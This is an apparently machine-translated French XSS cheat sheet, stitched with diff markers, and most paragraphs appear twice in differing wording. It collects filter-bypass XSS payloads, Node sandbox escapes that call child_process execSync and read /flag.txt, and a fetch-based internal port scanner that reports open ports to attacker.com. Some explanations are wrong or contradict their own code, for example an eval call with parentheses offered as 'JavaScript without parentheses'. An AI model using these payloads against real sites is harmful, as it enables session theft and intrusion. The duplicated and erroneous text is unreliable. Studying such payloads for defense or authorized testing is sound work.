Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement désinfectées et sont affichées sur une page web sans un encodage approprié. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement désinfectées et sont directement incluses dans la sortie d'une application web. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
### Exploitation
1. Identifier un champ d'entrée vulnérable où l'application ne désinfecte pas correctement les entrées utilisateur.
2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de validation des entrées.
3. Injecter la charge utile dans le champ d'entrée vulnérable.
4. Soumettre le formulaire ou déclencher l'événement qui affichera la charge utile injectée sur la page web.
5. La charge utile sera exécutée par le navigateur de la victime, permettant à l'attaquant d'effectuer diverses actions telles que le vol d'informations sensibles ou l'exécution d'actions non autorisées au nom de la victime.
1. Identifier un champ ou un paramètre d'entrée vulnérable dans l'application web.
2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de désinfection des entrées.
3. Injecter la charge utile dans le champ ou le paramètre d'entrée vulnérable.
4. Déclencher l'exécution de la charge utile en soumettant le formulaire ou en interagissant avec l'élément affecté.
5. Le code injecté sera exécuté par le navigateur de la victime, permettant à l'attaquant d'effectuer diverses actions, telles que le vol d'informations sensibles ou l'exécution d'actions non autorisées au nom de la victime.
### Prévention
Pour prévenir ce type d'attaque, il est important de désinfecter et de valider correctement toutes les entrées utilisateur avant de les afficher sur une page web. Cela peut être fait en mettant en place des mécanismes de validation des entrées et en utilisant des techniques d'encodage de sortie pour s'assurer que les entrées utilisateur sont correctement encodées.
Pour prévenir ce type d'attaque, il est important de mettre en place une validation appropriée des entrées et un encodage de sortie. La validation des entrées doit être effectuée à la fois côté client et côté serveur pour garantir une désinfection correcte des entrées utilisateur. L'encodage de sortie doit être utilisé lors de l'affichage de contenu généré par l'utilisateur pour éviter toute exécution de script potentiel.
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -449,7 +448,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous constatez qu'elle est **encodée en URL**, rappelez-vous que **cela n'a pas d'importance**, elle sera **interprétée** comme une **apostrophe** lors de l'**exécution**.
De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe**, et que vous constatez qu'elle est **encodée en URL**, rappelez-vous que **cela n'a pas d'importance**, elle sera **interprétée** comme une **apostrophe** lors de l'**exécution**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -492,7 +491,7 @@ Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbi
### Contournement des gestionnaires d'événements
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements** utiles commençant par "on".\
Si une liste noire empêche la création de ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
Si une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -550,9 +549,9 @@ Lisez les [contournements de liste noire JavaScript de la section suivante](./#t
Si vous trouvez une **XSS dans une toute petite partie** du site web qui nécessite une certaine interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit activé.
Par exemple, vous pourriez ajouter un peu de style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Mais si le WAF filtre l'attribut style, vous pouvez utiliser des gadgets de style CSS. Ainsi, si vous trouvez, par exemple :
Mais si le pare-feu d'application web (WAF) filtre l'attribut style, vous pouvez utiliser des gadgets de style CSS. Ainsi, si vous trouvez, par exemple :
> .test {display:block; color: blue; width: 100%\}
@ -564,15 +563,15 @@ Maintenant, vous pouvez modifier notre lien et le mettre sous la forme suivante
> \<a href=”” id=someid class=test onclick=alert() a=””>
Cette astuce a été prise sur [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injection à l'intérieur du code JavaScript
## Injection dans le code JavaScript
Dans ce cas, votre **entrée** sera **réfléchie à l'intérieur du code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
Dans ce cas, votre **entrée** sera **réfléchie dans le code JS** d'un fichier `.js` ou entre les balises `<script>...</script>` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`.
### Échapper à la balise \<script>
Si votre code est inséré dans `<script> [...] var input = 'reflected data' [...] </script>`, vous pouvez facilement **échapper à la fermeture de la balise `<script>`** :
Si votre code est inséré dans `<script> [...] var input = 'données réfléchies' [...] </script>`, vous pouvez facilement **échapper à la fermeture de la balise `<script>`** :
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -606,13 +605,15 @@ loop``````````````
L'exécution de code encodé est une technique couramment utilisée dans les attaques de type Cross-Site Scripting (XSS). Elle consiste à encoder le code malveillant de manière à contourner les filtres de sécurité et à exécuter du code sur le navigateur de la victime.
L'encodage du code peut être réalisé de différentes manières, telles que l'encodage HTML, l'encodage URL ou l'encodage JavaScript. L'objectif est de masquer le code malveillant afin qu'il ne soit pas détecté par les mécanismes de sécurité en place.
L'objectif principal de cette technique est de tromper les filtres de sécurité qui analysent le contenu des requêtes et des réponses HTTP. En encodant le code malveillant, il devient plus difficile pour les filtres de détecter et de bloquer le code dangereux.
Une fois que le code encodé est injecté dans une page web, il est décodé et exécuté par le navigateur de la victime. Cela permet à l'attaquant d'exécuter des actions malveillantes, telles que voler des informations sensibles, rediriger l'utilisateur vers des sites frauduleux ou même prendre le contrôle complet du navigateur.
Il existe plusieurs méthodes d'encodage couramment utilisées, telles que l'encodage HTML, l'encodage URL, l'encodage JavaScript, etc. Chaque méthode a ses propres caractéristiques et est utilisée en fonction du contexte de l'attaque.
Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des filtres de sécurité appropriés qui détectent et bloquent les tentatives d'injection de code malveillant. Il est également recommandé de valider et de filtrer toutes les entrées utilisateur afin de prévenir les attaques XSS.
Lors de l'exploitation de cette technique, l'attaquant insère du code malveillant encodé dans une application Web vulnérable. Lorsque la victime accède à la page contenant le code encodé, le navigateur interprète le code et l'exécute, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la prise de contrôle de session, etc.
En résumé, l'exécution de code encodé est une technique d'attaque XSS qui permet à un attaquant d'injecter et d'exécuter du code malveillant sur le navigateur d'une victime en utilisant des techniques d'encodage pour contourner les filtres de sécurité. La mise en place de mesures de sécurité appropriées est essentielle pour se protéger contre cette menace.
Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des mécanismes de sécurité appropriés, tels que la validation et l'échappement des entrées utilisateur, la mise en œuvre de listes blanches pour les caractères autorisés, l'utilisation de bibliothèques de sécurité pour le rendu des données, etc.
Il est également recommandé de sensibiliser les développeurs et les utilisateurs aux risques liés aux attaques XSS et de mettre en place des pratiques de développement sécurisées pour réduire les vulnérabilités potentielles.
```markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -633,7 +634,7 @@ Lorsqu'une application web ne traite pas correctement les caractères Unicode, i
#### Comment l'exploiter
Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'injection de code JavaScript sur l'application web cible. Ces points peuvent être des champs de formulaire, des paramètres d'URL ou d'autres zones de saisie de données.
Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'injection de code JavaScript sur l'application web cible. Ces points peuvent être des champs de saisie, des paramètres d'URL ou d'autres zones où l'application accepte des entrées de l'utilisateur.
Une fois que l'attaquant a identifié un point d'injection, il peut utiliser des séquences de caractères Unicode spécifiques pour encoder le code JavaScript malveillant. Par exemple, l'attaquant peut utiliser l'encodage Unicode pour contourner les filtres de sécurité qui bloquent les balises `<script>`.
@ -646,20 +647,20 @@ Voici un exemple d'encodage Unicode pour exécuter une alerte JavaScript :
</script>
```
Dans cet exemple, le code JavaScript malveillant est encodé en utilisant l'encodage Unicode pour contourner les filtres de sécurité. Lorsque le navigateur interprète le code, il exécute l'instruction `alert('XSS')`, ce qui affiche une boîte de dialogue avec le message "XSS".
Dans cet exemple, le code JavaScript `<script>alert('XSS')</script>` est encodé en utilisant l'encodage Unicode. Lorsque le navigateur interprète cette séquence de caractères, il exécute le code JavaScript et affiche une alerte avec le message "XSS".
---
#### Comment se protéger
Pour se protéger contre les attaques d'encodage Unicode, il est essentiel de mettre en place des mécanismes de validation et de filtrage appropriés pour tous les champs de saisie de données. Voici quelques bonnes pratiques à suivre :
Pour se protéger contre les attaques d'encodage Unicode, il est essentiel de mettre en place des mécanismes de validation et de filtrage appropriés pour toutes les entrées utilisateur. Voici quelques bonnes pratiques à suivre :
- Utilisez des bibliothèques de validation de données pour vérifier que les entrées utilisateur sont conformes aux attentes.
- Évitez d'accepter des caractères Unicode non autorisés ou inattendus dans les champs de saisie.
- Utilisez des filtres de sécurité pour bloquer les séquences de caractères potentiellement dangereuses.
- Éduquez les développeurs sur les bonnes pratiques de codage sécurisé pour éviter les vulnérabilités liées à l'encodage Unicode.
- Utilisez des bibliothèques de sécurité qui fournissent des fonctions d'échappement pour les caractères spéciaux.
- Validez et filtrez toutes les entrées utilisateur pour détecter et bloquer les séquences de caractères Unicode malveillantes.
- Mettez en œuvre une politique de sécurité qui limite l'utilisation de certaines balises ou caractères spéciaux dans les entrées utilisateur.
- Effectuez régulièrement des tests de sécurité, y compris des tests de pénétration, pour identifier et corriger les vulnérabilités potentielles.
En suivant ces bonnes pratiques, vous pouvez réduire considérablement le risque d'exploitation de cette vulnérabilité et renforcer la sécurité de votre application web.
En suivant ces bonnes pratiques, vous pouvez réduire considérablement le risque d'exploitation des vulnérabilités d'encodage Unicode et renforcer la sécurité de votre application web.
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -713,12 +714,12 @@ Voici quelques exemples de substitutions d'espaces couramment utilisées :
Lors de l'injection de code malveillant, il est important de tester différentes substitutions d'espaces pour contourner les filtres de sécurité. Il est également recommandé d'utiliser des outils automatisés de test d'injection XSS pour identifier les vulnérabilités et les failles potentielles.
Il convient de noter que l'exploitation de vulnérabilités XSS est illégale sans autorisation préalable. Les techniques décrites ici doivent être utilisées à des fins éducatives et éthiques, dans le cadre d'un test de pénétration autorisé.
Il convient de noter que l'exploitation de vulnérabilités XSS est illégale sans autorisation préalable. Les techniques décrites ici doivent être utilisées à des fins éducatives et éthiques dans le cadre d'un test de pénétration autorisé.
```javascript
<TAB>
/**/
```
**Commentaires JavaScript (à partir de la** [**technique des commentaires JavaScript**](./#javascript-comments) **)**
**Commentaires JavaScript (à partir de la technique des** [**Commentaires JavaScript**](./#commentaires-javascript) **)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -730,9 +731,9 @@ Il convient de noter que l'exploitation de vulnérabilités XSS est illégale sa
---
When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass filters and execute malicious code.
When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass input filters and execute malicious code.
Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres et exécuter du code malveillant.
Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres de saisie et exécuter du code malveillant.
---
@ -747,42 +748,39 @@ alert(name);
</script>
```
In this case, the JavaScript code will execute without any issues. However, if we try to inject a new line character, like this:
In this case, the JavaScript code will execute without any issues. However, if we introduce a new line character, the code will break and an error will occur:
Dans ce cas, le code JavaScript s'exécutera sans problème. Cependant, si nous essayons d'injecter un caractère de saut de ligne, comme ceci :
Dans ce cas, le code JavaScript s'exécutera sans problème. Cependant, si nous introduisons un caractère de saut de ligne, le code se cassera et une erreur se produira :
```html
<script>
var name = "John";
alert(name);
alert
(name);
</script>
```
The code will break and produce an error. To bypass this, we can use the following JavaScript trick:
To bypass this issue, we can use the JavaScript new line trick. By adding a backslash (`\`) at the end of the line, we can continue the code on the next line:
Le code se cassera et produira une erreur. Pour contourner cela, nous pouvons utiliser l'astuce JavaScript suivante :
Pour contourner ce problème, nous pouvons utiliser la technique du saut de ligne JavaScript. En ajoutant un antislash (`\`) à la fin de la ligne, nous pouvons continuer le code sur la ligne suivante :
```html
<script>
var name = "John";\nalert(name);
var name = "John";
alert\
(name);
</script>
```
By adding the escape sequence `\n`, we can inject a new line character without breaking the code. This can be useful when trying to bypass filters that block certain characters or patterns.
This way, the code will execute successfully, even with the new line character.
En ajoutant la séquence d'échappement `\n`, nous pouvons injecter un caractère de saut de ligne sans casser le code. Cela peut être utile lorsque vous essayez de contourner des filtres qui bloquent certains caractères ou motifs.
De cette façon, le code s'exécutera avec succès, même avec le caractère de saut de ligne.
---
It is important to note that different web applications may handle new lines differently. Therefore, it is essential to test the behavior of new lines in the specific application you are targeting.
It is important to note that this trick may not work in all scenarios, as it depends on how the web application handles new lines. Additionally, it is crucial to use this technique responsibly and only for legitimate purposes, such as penetration testing or security research.
Il est important de noter que différentes applications web peuvent gérer les sauts de ligne différemment. Par conséquent, il est essentiel de tester le comportement des sauts de ligne dans l'application spécifique que vous ciblez.
---
For more information on XSS and other web application vulnerabilities, refer to the [OWASP](https://owasp.org/) website.
Pour plus d'informations sur les XSS et autres vulnérabilités des applications web, consultez le site [OWASP](https://owasp.org/).
Il est important de noter que cette astuce peut ne pas fonctionner dans tous les scénarios, car cela dépend de la façon dont l'application web gère les sauts de ligne. De plus, il est crucial d'utiliser cette technique de manière responsable et uniquement à des fins légitimes, telles que les tests de pénétration ou la recherche en sécurité.
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -792,13 +790,15 @@ String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**Espaces blancs en JavaScript**
Les espaces blancs en JavaScript se réfèrent à tout caractère non visible qui est utilisé pour formater le code et améliorer la lisibilité. Les espaces blancs comprennent les espaces, les tabulations, les sauts de ligne et les commentaires.
Les espaces blancs en JavaScript se réfèrent aux caractères non imprimables tels que les espaces, les tabulations et les sauts de ligne. Ces espaces blancs sont généralement ignorés par l'interpréteur JavaScript lors de l'exécution du code.
Les espaces blancs sont ignorés par l'interpréteur JavaScript, ce qui signifie qu'ils n'affectent pas le fonctionnement du code. Cependant, ils sont importants pour rendre le code plus lisible et faciliter la compréhension.
Cependant, dans le contexte de la sécurité, les espaces blancs peuvent être utilisés de manière malveillante pour contourner les filtres de sécurité et exécuter du code JavaScript non autorisé. Cette technique est connue sous le nom d'obfuscation de code.
Il est recommandé d'utiliser des espaces blancs de manière cohérente dans votre code JavaScript pour améliorer sa lisibilité. Cela peut inclure l'indentation appropriée, l'alignement des éléments et l'utilisation de sauts de ligne pour séparer les blocs de code.
L'obfuscation de code consiste à ajouter des espaces blancs supplémentaires ou à les réorganiser de manière à rendre le code JavaScript illisible pour les humains, tout en restant exécutable par l'interpréteur JavaScript.
En résumé, les espaces blancs en JavaScript sont des caractères non visibles utilisés pour formater le code et améliorer sa lisibilité. Ils sont ignorés par l'interpréteur JavaScript mais jouent un rôle important dans la clarté du code.
Il est important de noter que l'obfuscation de code n'est pas une technique de piratage en soi, mais plutôt une méthode utilisée par les attaquants pour masquer leur code malveillant et échapper à la détection.
Lors de l'audit de sécurité d'une application web, il est essentiel de prendre en compte les espaces blancs et de les analyser attentivement pour détecter toute tentative d'obfuscation de code.
```javascript
log=[];
function funct(){}
@ -838,19 +838,22 @@ Pour prévenir cette vulnérabilité, assurez-vous de filtrer et d'échapper cor
```
**JavaScript sans parenthèses**
Lorsque vous écrivez du code JavaScript, vous utilisez souvent des parenthèses pour appeler des fonctions ou exécuter des expressions. Cependant, il existe une astuce pour exécuter du code JavaScript sans utiliser de parenthèses.
L'une des techniques couramment utilisées en XSS (Cross-Site Scripting) consiste à exécuter du code JavaScript sans utiliser de parenthèses. Cette technique est souvent utilisée pour contourner les filtres de sécurité et injecter du code malveillant dans une application web.
Pour cela, vous pouvez utiliser l'opérateur `void` suivi d'un espace et du code que vous souhaitez exécuter. Par exemple :
L'idée principale derrière cette technique est d'exploiter les contextes où le code JavaScript peut être exécuté sans l'utilisation de parenthèses. Par exemple, dans certains cas, le code JavaScript peut être exécuté directement dans une balise HTML sans avoir besoin de les entourer de parenthèses.
Voici un exemple de code JavaScript sans parenthèses :
```javascript
void alert("Hello, world!");
<script>
var payload = 'alert("XSS")';
eval(payload);
</script>
```
Dans cet exemple, la fonction `alert` est appelée sans utiliser de parenthèses. L'opérateur `void` est utilisé pour ignorer la valeur de retour de la fonction.
Dans cet exemple, le code JavaScript `alert("XSS")` est exécuté directement sans l'utilisation de parenthèses. Cela peut être utilisé pour exécuter du code malveillant sur le navigateur de la victime.
Il est important de noter que cette technique ne fonctionne que pour les expressions qui ne renvoient pas de valeur. Si vous essayez d'utiliser cette astuce avec une expression qui renvoie une valeur, vous obtiendrez une erreur.
Utiliser JavaScript sans parenthèses peut être utile dans certaines situations, mais il est important de l'utiliser avec prudence et de comprendre les implications de cette technique.
Il est important de noter que cette technique peut être détectée et bloquée par des mécanismes de sécurité appropriés, tels que la validation et l'échappement des entrées utilisateur. Cependant, il est toujours essentiel de prendre des mesures pour prévenir les attaques XSS en appliquant des bonnes pratiques de sécurité dans le développement d'applications web.
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
@ -1012,7 +1015,7 @@ Vous pouvez vérifier si les **valeurs réfléchies** sont **normalisées en Uni
```
### Contournement de Ruby-On-Rails
En raison de la **vulnérabilité d'assignation de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
En raison de la **vulnérabilité d'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Par exemple, dans ce [rapport](https://hackerone.com/reports/709336), si vous envoyez la charge utile suivante :
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -1102,7 +1105,7 @@ const char* const kSupportedJavascriptTypes[] = {
La réponse est :
* **module** (par défaut, rien à expliquer)
* \*\*\*\*[**webbundle**](https://web.dev/web-bundles/) : Les Web Bundles sont une fonctionnalité qui vous permet d'emballer un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
* [**webbundle**](https://web.dev/web-bundles/) : Les Web Bundles sont une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
```html
<script type="webbundle">
{
@ -1112,7 +1115,7 @@ La réponse est :
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
* \*\*\*\*[**importmap**](https://github.com/WICG/import-maps)**:** Permet d'améliorer la syntaxe d'importation
* [**importmap**](https://github.com/WICG/import-maps)**:** Permet d'améliorer la syntaxe d'importation
```html
<script type="importmap">
{
@ -1131,7 +1134,7 @@ import { partition } from "lodash";
```
Ce comportement a été utilisé dans [**ce compte rendu**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin de l'exploiter et de déclencher une XSS.
* \*\*\*\*[**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne de la manière suivante :
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne de la manière suivante :
```html
<script type="speculationrules">
{
@ -1174,13 +1177,17 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es
```
### Modèles de remplacement spéciaux
Lorsque quelque chose comme **`"des données {{template}}".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaînes spéciales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Lorsque quelque chose comme **`"des données {{template}}".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaînes spéciales**](https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/replace#spécification_d_une_chaîne_comme_remplacement) pour tenter de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Par exemple, dans [**ce compte rendu**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
Par exemple, dans [**ce compte rendu**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper à une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
### Chrome Cache pour XSS
### Chrome Cache to XSS
### Prisons XS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
### Évasion de XS Jails
Si vous avez seulement un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
```javascript
@ -1213,6 +1220,66 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**ce compte rendu**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
* Utilisation de import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Accès indirect à `require`
[Selon cette source](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci :
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
```
Par conséquent, si à partir de ce module nous pouvons **appeler une autre fonction**, il est possible d'utiliser `arguments.callee.caller.arguments[1]` depuis cette fonction pour accéder à **`require`**:&#x20;
{% code overflow="wrap" %}
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
{% endcode %}
De manière similaire à l'exemple précédent, il est possible d'utiliser des gestionnaires d'erreurs pour accéder à l'enveloppe du module et obtenir la fonction **`require`** :
```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
```
### Obfuscation & Contournement avancé
* **Différentes obfuscations sur une seule page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
@ -1260,7 +1327,8 @@ Pour prévenir les attaques XSS, il est important de mettre en place les mesures
1. Échapper les caractères spéciaux : les données provenant des utilisateurs doivent être correctement échappées pour empêcher l'exécution de code malveillant.
2. Valider et filtrer les entrées utilisateur : toutes les entrées utilisateur doivent être validées et filtrées pour s'assurer qu'elles ne contiennent pas de code malveillant.
3. Utiliser des bibliothèques de sécurité : utilisez des bibliothèques de sécurité telles que OWASP ESAPI pour faciliter l'échappement des caractères spéciaux et la validation des entrées utilisateur.
4. Mettre en place des CSP (Content Security Policies) : les CSP permettent de définir des règles strictes sur les types de contenu autorisés sur une page Web, ce qui peut aider à prévenir les attaques XSS.
4. Mettre en place des politiques de sécurité des navigateurs : configurez les en-têtes de réponse HTTP pour limiter les risques de XSS.
5. Sensibiliser les développeurs : les développeurs doivent être conscients des risques de XSS et être formés aux meilleures pratiques de sécurité.
## Exemple de code XSS
@ -1339,25 +1407,21 @@ XSS vulnerabilities can be leveraged to execute malicious scripts on a victim's
#### 2. Server-Side Request Forgery (SSRF)
SSRF vulnerabilities allow an attacker to make requests from the server to internal resources. By crafting a request to a service that reveals internal IP addresses, you can retrieve the internal IPs.
SSRF vulnerabilities allow an attacker to make requests from the server to internal resources. By crafting a request to a service that reveals internal IP addresses, you can obtain the internal IPs.
#### 3. Local File Inclusion (LFI)
#### 3. Error-Based Information Leakage
LFI vulnerabilities can be exploited to read files on the server. By accessing files that contain internal IP addresses, you can obtain the internal IPs.
Some error messages may inadvertently disclose internal IP addresses. By carefully analyzing error messages, you may find internal IPs exposed.
#### 4. Error-Based Information Leakage
Sometimes, error messages can reveal internal IP addresses. By causing an error on the server and analyzing the response, you may find internal IPs in the error message.
#### 5. DNS Rebinding
#### 4. DNS Rebinding
DNS rebinding attacks can be used to bypass the same-origin policy and access internal resources. By setting up a malicious DNS server, you can trick the victim's browser into making requests to internal IPs.
#### 6. Port Scanning
#### 5. Port Scanning
Port scanning can be performed to identify open ports on the target network. By scanning the target's IP range, you can discover internal IPs that respond to the scan.
Port scanning can be used to identify open ports on a target system. By scanning a target's IP range, you can discover internal IPs that respond to the scan.
Remember, when performing a penetration test, always ensure you have proper authorization and follow ethical guidelines.
It is important to note that these techniques should only be used in controlled environments with proper authorization. Unauthorized use of these techniques is illegal and unethical. Always ensure you have permission before conducting any penetration testing activities.
```html
<script>
var q = []
@ -1405,57 +1469,61 @@ q.shift()();
```
### Scanner de ports (fetch)
The `port-scanner-fetch.js` script is a simple port scanner that uses the `fetch` function in JavaScript to send HTTP requests to a target host and port. It can be used to quickly identify open ports on a target system.
The `port-scanner-fetch.js` script is a simple port scanner that uses the `fetch` function in JavaScript to send HTTP requests to a target host and port. It can be used to quickly check if a specific port is open or closed.
To use the script, you need to provide the target host and a range of ports to scan. The script will then send HTTP requests to each port in the specified range and check for a response. If a response is received, it means that the port is open.
To use the script, you need to provide the target host and port as command-line arguments. For example:
Here's how you can use the script:
```bash
node port-scanner-fetch.js <target_host> <start_port> <end_port>
```shell
node port-scanner-fetch.js example.com 80
```
Replace `<target_host>` with the IP address or domain name of the target system. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan.
This will send an HTTP request to `example.com` on port `80` and display the result. If the port is open, the script will print `Port 80 is open`. If the port is closed or the request times out, it will print `Port 80 is closed`.
For example, to scan ports 1 to 100 on the target system with IP address `192.168.0.1`, you would run the following command:
```bash
node port-scanner-fetch.js 192.168.0.1 1 100
```
The script will then display a list of open ports on the target system.
Note: This script should only be used for legitimate purposes, such as network administration or penetration testing with proper authorization. Unauthorized port scanning is illegal and can result in severe consequences.
Please note that port scanning can be considered illegal or unethical without proper authorization. Always ensure that you have the necessary permissions before conducting any port scanning activities.
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Scanner de ports (websockets)
---
#### Description
This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that are specifically used for websocket communication.
This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that supports the websocket protocol. The scanner sends a connection request to each port and waits for a response. If a response is received, it means that the port is open and the websocket service is running.
#### Usage
To use this tool, you need to provide the target server's IP address and the range of ports you want to scan. The tool will then attempt to establish a websocket connection on each port within the specified range and determine if it is open or closed.
Here is an example command:
To use the port scanner, you need to provide the target server's IP address and the range of ports you want to scan. The scanner will then attempt to connect to each port within the specified range.
```
python port_scanner.py --target 192.168.0.1 --ports 8000-9000
